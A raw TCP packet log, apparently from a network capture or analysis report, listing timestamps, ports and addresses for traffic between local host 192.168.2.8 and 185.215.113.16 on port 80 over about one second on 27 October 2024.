Oct 27, 2024 17:55:21.445933104 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.445952892 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.482474089 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.482497931 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.482515097 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.482523918 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.482562065 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.482601881 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.482616901 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.482631922 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.482646942 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.482665062 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.482686043 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.482701063 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.482713938 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.482717037 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.482731104 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.482739925 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.482748032 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.482764006 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.482794046 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.482820988 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.483403921 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.483419895 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.483436108 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.483469963 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.524101019 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.524117947 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.524132967 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.524173975 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.524197102 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.526206017 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.526221991 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.526237965 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.526269913 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.526344061 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.526359081 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.526374102 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.526387930 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.526390076 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.526428938 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.526881933 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.526935101 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.527242899 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.527259111 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.527273893 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.527304888 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.527390003 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.527405024 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.527420998 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.527434111 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.527448893 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.527488947 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.563092947 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.563155890 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.563261986 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.563277006 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.563291073 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.563325882 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.563432932 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.563446999 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.563483953 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.563599110 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.563615084 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.563628912 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.563642025 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.563668013 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.599805117 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.599843025 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.599860907 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.599874973 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.599889994 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.599904060 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.599911928 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.599967003 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.600223064 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.600244045 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.600277901 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.600291967 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.600295067 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.600301027 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.600310087 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.600363016 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.600369930 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.600379944 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.600435972 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.600771904 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.600886106 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.600999117 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.601012945 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.601037025 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.601041079 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.601052999 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.601079941 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.601100922 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.641129971 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.641191959 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.641206026 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.641247988 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.641261101 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.641277075 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.641318083 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.643430948 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.643495083 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.643516064 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.643527985 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.643532991 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.643548965 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.643563032 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.643590927 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.643703938 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.643717051 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.643774986 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.643799067 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.643877029 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.643892050 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.643907070 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.643925905 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.643965006 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.644237041 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.644277096 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.644309044 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.644324064 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.644337893 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.644355059 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.644397020 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.680316925 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.680334091 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.680347919 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.680367947 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.680412054 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.680624008 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.680675030 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.680696964 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.680712938 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.680720091 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.680730104 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.680757046 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.717113972 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.717137098 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.717152119 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.717183113 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.717206001 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.717212915 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.717231035 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.717252016 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.717267036 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.717282057 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.717295885 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.717336893 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.717746973 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.717761993 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.717803955 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.717890978 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.717905045 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.717919111 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.717933893 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.717952967 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.717981100 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.718317986 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.718333960 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.718348026 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.718373060 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.718393087 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.718413115 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.718429089 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.718442917 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.718457937 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.718466997 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.718472004 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.718503952 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.758580923 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.758603096 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.758624077 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.758636951 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.758650064 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.758685112 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.760863066 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.760879993 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.760894060 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.760909081 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.760915995 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.760924101 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.760942936 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.760979891 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.761140108 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.761154890 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.761168957 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.761184931 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.761209965 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.761230946 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.761482000 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.761497974 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.761512995 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.761545897 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.761565924 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.761580944 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.761612892 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.797621965 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.797641039 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.797655106 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.797678947 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.797697067 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.797724962 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.797729969 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.797744989 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.797775984 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.797996998 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.798019886 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.798048019 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.798145056 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.798166037 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.798182011 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.798197985 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.798212051 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.798260927 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.834516048 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.834558010 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.834574938 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.834589005 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.834589005 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.834604979 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.834621906 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.834628105 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.834639072 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.834654093 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.834656954 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.834691048 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.835021019 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.835035086 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.835081100 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.835114002 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.835174084 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.835190058 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.835206032 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.835218906 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.835243940 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.835580111 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.835596085 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.835633993 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.835639000 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.835650921 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.835668087 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.835679054 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.835685015 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.835731030 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.836220980 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.836236000 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.836267948 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.876173019 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.876197100 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.876214981 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.876229048 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.876233101 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.876250029 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.876271009 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.876324892 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.879017115 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.879038095 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.879070997 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.879086971 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.879096031 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.879112005 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.879127979 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.879144907 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.879157066 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.879162073 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.879192114 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.879213095 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.879394054 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.879482031 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.879498005 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.879522085 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.879547119 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.879578114 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.915250063 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.915271997 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.915288925 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.915333986 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.915344000 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.915399075 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.915400982 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.915417910 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.915458918 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.915525913 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.915721893 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.915736914 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.915769100 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.915769100 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.915785074 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.915800095 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:21.915819883 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:21.915848017 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.106602907 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.106642962 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.106662035 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.106662035 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.106679916 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.106695890 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.106714010 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.106729031 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.106729031 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.106745958 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.106761932 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.106777906 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.106792927 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.106797934 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.106807947 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.106823921 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.106829882 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.106853962 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.106873989 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.107244015 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.107423067 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.107439995 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.107477903 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.107820034 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.107837915 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.107852936 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.107867956 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.107876062 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.107883930 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.107901096 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.107903957 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.107917070 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.107954025 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.107975006 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.108494997 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.108643055 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.108784914 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.108833075 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.108978987 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.108994961 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.109010935 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.109025002 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.109055042 CET	49713	80	192.168.2.8	185.215.113.16
Oct 27, 2024 17:55:22.109158039 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.109328032 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.109343052 CET	80	49713	185.215.113.16	192.168.2.8
Oct 27, 2024 17:55:22.109391928 CET	49713	80	192.168.2.8	185.215.113.16
